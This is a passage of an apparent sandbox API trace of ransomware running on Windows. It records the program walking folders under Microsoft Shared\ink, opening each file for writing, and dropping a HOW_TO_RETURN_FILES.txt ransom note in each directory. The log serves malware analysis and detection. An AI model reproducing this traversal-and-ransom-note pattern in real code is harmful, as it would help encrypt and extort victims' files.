dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".", lpUsedDefaultChar=0x37dec0) returned 1 [0094.828] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b0690 | out: lpFindFileData=0x6b0690) returned 1 [0094.828] AreFileApisANSI () returned 1 [0094.828] GetACP () returned 0x4e4 [0094.828] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..F", lpUsedDefaultChar=0x37dec0) returned 2 [0094.828] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b0690 | out: lpFindFileData=0x6b0690) returned 1 [0094.828] AreFileApisANSI () returned 1 [0094.828] GetACP () returned 0x4e4 [0094.828] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="tipresx.dll.mui", cchWideChar=15, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="tipresx.dll.mui", lpUsedDefaultChar=0x37dec0) returned 15 [0094.828] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-fr\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0094.829] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b0690 | out: lpFindFileData=0x6b0690) returned 0 [0094.829] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0094.829] AreFileApisANSI () returned 1 [0094.829] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aafd0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81 [0094.829] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-fr\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0094.829] GetFileType (hFile=0x130) returned 0x1 [0094.830] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0094.830] AreFileApisANSI () returned 1 [0094.830] GetACP () returned 0x4e4 [0094.830] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="fsdefinitions", cchWideChar=13, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="fsdefinitionsWizard.exe", lpUsedDefaultChar=0x37df4c) returned 13 [0094.830] AreFileApisANSI () returned 1 [0094.830] GetACP () returned 0x4e4 [0094.830] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6a98f0, cbMultiByte=65, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\") returned 65 [0094.831] AreFileApisANSI () returned 1 [0094.831] GetACP () returned 0x4e4 [0094.831] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 1 [0094.831] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b0690 | out: lpFindFileData=0x6b0690) returned 1 [0094.832] AreFileApisANSI () returned 1 [0094.832] GetACP () returned 0x4e4 [0094.832] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 2 [0094.832] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b0690 | out: lpFindFileData=0x6b0690) returned 1 [0094.832] AreFileApisANSI () returned 1 [0094.832] GetACP () returned 0x4e4 [0094.832] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="auxpad", cchWideChar=6, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="auxpadOxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 6 [0094.832] AreFileApisANSI () returned 1 [0094.832] GetACP () returned 0x4e4 [0094.832] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6a9948, cbMultiByte=72, lpWideCharStr=0x37dc54, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\\\Pȁ") returned 72 [0094.833] AreFileApisANSI () returned 1 [0094.833] GetACP () returned 0x4e4 [0094.833] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7cbc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr=".w/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37de34) returned 1 [0094.833] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6b1b20 | out: lpFindFileData=0x6b1b20) returned 1 [0094.833] AreFileApisANSI () returned 1 [0094.833] GetACP () returned 0x4e4 [0094.833] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7cbc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="../+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37de34) returned 2 [0094.833] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6b1b20 | out: lpFindFileData=0x6b1b20) returned 1 [0094.833] AreFileApisANSI () returned 1 [0094.833] GetACP () returned 0x4e4 [0094.833] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="auxbase.xml", cchWideChar=11, lpMultiByteStr=0x6b7cbc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="auxbase.xmlaL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37de34) returned 11 [0094.833] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0094.834] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6b1b20 | out: lpFindFileData=0x6b1b20) returned 0 [0094.834] FindClose (in: hFindFile=0x6ab390 | out: hFindFile=0x6ab390) returned 1 [0094.835] AreFileApisANSI () returned 1 [0094.835] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x692188, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 96 [0094.835] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37db6c, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0094.835] GetFileType (hFile=0x13c) returned 0x1 [0094.836] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b0690 | out: lpFindFileData=0x6b0690) returned 1 [0094.836] AreFileApisANSI () returned 1 [0094.836] GetACP () returned 0x4e4 [0094.836] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="auxpad.xml", cchWideChar=10, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="auxpad.xmltefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 10 [0094.836] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0094.836] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b0690 | out: lpFindFileData=0x6b0690) returned 1 [0094.836] AreFileApisANSI () returned 1 [0094.836] GetACP () returned 0x4e4 [0094.836] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="keypad", cchWideChar=6, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="keypad.xml", lpUsedDefaultChar=0x37dec0) returned 6 [0094.836] AreFileApisANSI () returned 1 [0094.836] GetACP () returned 0x4e4 [0094.836] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6a9948, cbMultiByte=72, lpWideCharStr=0x37dc54, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\꿐jȨ") returned 72 [0094.836] AreFileApisANSI () returned 1 [0094.836] GetACP () returned 0x4e4 [0094.836] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7cbc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr=".", lpUsedDefaultChar=0x37de34) returned 1 [0094.836] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6b1b20 | out: lpFindFileData=0x6b1b20) returned 1 [0094.836] AreFileApisANSI () returned 1 [0094.837] GetACP () returned 0x4e4 [0094.837] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7cbc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="..F", lpUsedDefaultChar=0x37de34) returned 2 [0094.837] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6b1b20 | out: lpFindFileData=0x6b1b20) returned 1 [0094.837] AreFileApisANSI () returned 1 [0094.837] GetACP () returned 0x4e4 [0094.837] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ea.xml", cchWideChar=6, lpMultiByteStr=0x6b7cbc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="ea.xmll", lpUsedDefaultChar=0x37de34) returned 6 [0094.837] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0094.837] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6b1b20 | out: lpFindFileData=0x6b1b20) returned 1 [0094.837] AreFileApisANSI () returned 1 [0094.837] GetACP () returned 0x4e4 [0094.837] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="keypadbase.xml", cchWideChar=14, lpMultiByteStr=0x6b7cbc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="keypadbase.xmlC", lpUsedDefaultChar=0x37de34) returned 14 [0094.837] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0094.838] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6b1b20 | out: lpFindFileData=0x6b1b20) returned 1 [0094.838] AreFileApisANSI () returned 1 [0094.838] GetACP () returned 0x4e4 [0094.838] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="kor-kor.xml", cchWideChar=11, lpMultiByteStr=0x6b7cbc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="kor-kor.xmlxml", lpUsedDefaultChar=0x37de34) returned 11 [0094.838] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0094.838] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6b1b20 | out: lpFindFileData=0x6b1b20) returned 0 [0094.838] FindClose (in: hFindFile=0x6ab390 | out: hFindFile=0x6ab390) returned 1 [0094.838] AreFileApisANSI () returned 1 [0094.838] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x692188, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 96 [0094.838] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37db6c, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0094.839] GetFileType (hFile=0x13c) returned 0x1 [0094.840] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b0690 | out: lpFindFileData=0x6b0690) returned 1 [0094.840] AreFileApisANSI () returned 1 [0094.840] GetACP () returned 0x4e4 [0094.840] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="keypad.xml", cchWideChar=10, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="keypad.xml", lpUsedDefaultChar=0x37dec0) returned 10 [0094.840] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0094.841] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b0690 | out: lpFindFileData=0x6b0690) returned 1 [0094.841] AreFileApisANSI () returned 1 [0094.841] GetACP () returned 0x4e4 [0094.841] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="main", cchWideChar=4, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="mainad.xml", lpUsedDefaultChar=0x37dec0) returned 4 [0094.841] AreFileApisANSI () returned 1 [0094.841] GetACP () returned 0x4e4 [0094.841] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6a9948, cbMultiByte=70, lpWideCharStr=0x37dc54, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ᤀk꿐jȨ") returned 70 [0094.925] AreFileApisANSI () returned 1 [0094.925] GetACP () returned 0x4e4 [0094.925] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7cbc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr=".", lpUsedDefaultChar=0x37de34) returned 1 [0094.925] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6b1b20 | out: lpFindFileData=0x6b1b20) returned 1 [0094.925] AreFileApisANSI () returned 1 [0094.925] GetACP () returned 0x4e4 [0094.925] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7cbc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="..F", lpUsedDefaultChar=0x37de34) returned 2 [0094.925] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6b1b20 | out: lpFindFileData=0x6b1b20) returned 1 [0094.926] AreFileApisANSI () returned 1 [0094.926] GetACP () returned 0x4e4 [0094.926] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="base.xml", cchWideChar=8, lpMultiByteStr=0x6b7cbc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="base.xmle", lpUsedDefaultChar=0x37de34) returned 8 [0094.926] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0094.927] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6b1b20 | out: lpFindFileData=0x6b1b20) returned 1 [0094.927] AreFileApisANSI () returned 1 [0094.927] GetACP () returned 0x4e4 [0094.927] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="baseAltGr_rtl.xml", cchWideChar=17, lpMultiByteStr=0x6b7cbc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="baseAltGr_rtl.xml", lpUsedDefaultChar=0x37de34) returned 17 [0094.927] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0094.927] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6b1b20 | out: lpFindFileData=0x6b1b20) returned 1 [0094.927] AreFileApisANSI () returned 1 [0094.927] GetACP () returned 0x4e4 [0094.927] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="base_altgr.xml", cchWideChar=14, lpMultiByteStr=0x6b7cbc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="base_altgr.xmlxml", lpUsedDefaultChar=0x37de34) returned 14 [0094.927] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0094.928] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6b1b20 | out: lpFindFileData=0x6b1b20) returned 1 [0094.928] AreFileApisANSI () returned 1 [0094.928] GetACP () returned 0x4e4 [0094.928] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="base_ca.xml", cchWideChar=11, lpMultiByteStr=0x6b7cbc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="base_ca.xmlxml", lpUsedDefaultChar=0x37de34) returned 11 [0094.928] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0094.928] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6b1b20 | out: lpFindFileData=0x6b1b20) returned 1 [0094.928] AreFileApisANSI () returned 1 [0094.928] GetACP () returned 0x4e4 [0094.928] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="base_heb.xml", cchWideChar=12, lpMultiByteStr=0x6b7cbc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="base_heb.xmlml", lpUsedDefaultChar=0x37de34) returned 12 [0094.928] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0094.929] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6b1b20 | out: lpFindFileData=0x6b1b20) returned 1 [0094.929] AreFileApisANSI () returned 1 [0094.929] GetACP () returned 0x4e4 [0094.929] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="base_jpn.xml", cchWideChar=12, lpMultiByteStr=0x6b7cbc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="base_jpn.xml", lpUsedDefaultChar=0x37de34) returned 12 [0094.929] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0094.929] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6b1b20 | out: lpFindFileData=0x6b1b20) returned 1 [0094.929] AreFileApisANSI () returned 1 [0094.929] GetACP () returned 0x4e4 [0094.929] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="base_kor.xml", cchWideChar=12, lpMultiByteStr=0x6b7cbc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="base_kor.xml", lpUsedDefaultChar=0x37de34) returned 12 [0094.929] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0094.966] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6b1b20 | out: lpFindFileData=0x6b1b20) returned 1 [0094.966] AreFileApisANSI () returned 1 [0094.966] GetACP () returned 0x4e4 [0094.966] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="base_rtl.xml", cchWideChar=12, lpMultiByteStr=0x6b7cbc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="base_rtl.xml", lpUsedDefaultChar=0x37de34) returned 12 [0094.966] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0094.967] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6b1b20 | out: lpFindFileData=0x6b1b20) returned 1 [0094.967] AreFileApisANSI () returned 1 [0094.967] GetACP () returned 0x4e4 [0094.967] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ja-jp.xml", cchWideChar=9, lpMultiByteStr=0x6b7cbc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="ja-jp.xmlxml", lpUsedDefaultChar=0x37de34) returned 9 [0094.967] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0094.967] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6b1b20 | out: lpFindFileData=0x6b1b20) returned 1 [0094.967] AreFileApisANSI () returned 1 [0094.967] GetACP () returned 0x4e4 [0094.967] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ko-kr.xml", cchWideChar=9, lpMultiByteStr=0x6b7cbc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="ko-kr.xml", lpUsedDefaultChar=0x37de34) returned 9 [0094.968] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0094.968] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6b1b20 | out: lpFindFileData=0x6b1b20) returned 1 [0094.968] AreFileApisANSI () returned 1 [0094.968] GetACP () returned 0x4e4 [0094.968] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="zh-changjei.xml", cchWideChar=15, lpMultiByteStr=0x6b7cbc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="zh-changjei.xmlml", lpUsedDefaultChar=0x37de34) returned 15 [0094.968] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml"), dwDesiredAccess=0xc0000000, 